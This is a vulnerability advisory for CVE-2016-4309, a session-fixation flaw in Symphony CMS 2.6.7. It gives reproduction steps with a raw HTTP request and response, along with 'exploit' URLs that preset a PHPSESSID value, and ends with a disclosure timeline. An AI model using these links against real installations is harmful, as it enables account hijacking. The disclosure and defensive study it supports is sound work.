[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SYMPHONY-CMS-SESSION-FIXATION.txt [+] ISR: APPARITIONSEC Vendor: ==================== www.getsymphony.com Product: ================== Symphony CMS v2.6.7 Download: http://www.getsymphony.com/download/ Symphony is a XSLT-powered open source content management system. Vulnerability Type: =================== Session Fixation CVE Reference: ============== CVE-2016-4309 Vulnerability Details: ===================== Symphony CMS is prone to "Session Fixation" allowing attackers to preset a users PHPSESSID "Session Identifier". If the application is deployed using an insecure setup with PHP.INI "session.use_only_cookies" not enabled, attackers can then send victims a link to the vulnerable application with the "PHPSESSID" already initialized as Symphony does not use or call "session_regenerate_id()" upon successful user authentication. Note: as per php.net/manual/en/session.configuration.php "session.use_only_cookies=1" is default since PHP 4.3.0. e.g. "http://localhost/symphony/?PHPSESSID=APPARITION666". As Symphonys Session ID is not regenerated it can result in arbitrary Session ID being 'Fixated' to a user, if that user authenticates using this attacker supplied session fixated link, the attacker can now access the affected application from a different Computer/Browser and have the same level of access to that of the victim. Default Cookie lifetime for Symphony CMS is up to two weeks. Reproduction steps: ===================== Edit PHP.INI and change following settings to 'session.use_only_cookies=0' if applicable, as POC test. 1) Telnet localhost 80 2) make HTTP request with a prefixed PHPSESSID GET /symphony-2.6.7/symphony/?PHPSESSID=PWN3D666 HTTP/1.1 Host: localhost Connection: close 3) Hit enter twice HTTP/1.1 200 OK Date: Mon, 16 May 2016 02:06:47 GMT Server: Apache/2.4.12 (Win32) OpenSSL/1.0.1l PHP/5.6.8 X-Powered-By: PHP/5.6.8 Set-Cookie: PHPSESSID=PWNED666; expires=Mon, 30-May-2016 02:06:48 GMT; Max-Age=1209600; path=/symphony-2.6.7; httponly Content-Length: 1501 Connection: close Content-Type: text/html; charset=UTF-8 Exploit code(s): =============== 1) http://localhost/symphony-2.6.7/symphony/publish/articles/?PHPSESSID=hyp3rlinx 2) http://localhost/symphony-2.6.7/symphony/?PHPSESSID=APPARITION Disclosure Timeline: ===================================== Vendor Notification: May 3, 2016 Vendor Release Fix: May 23, 2016 June 20, 2016 : Public Disclosure. Exploitation Method: ==================== Remote Severity Level: ================ 6.8 (Medium) CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N Description: ============================================== Request Method(s): [+] GET / POST Vulnerable Product: [+] Symphony CMS 2.6.7 Vulnerable Parameter(s): [+] 'PHPSESSID' =============================================== [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere.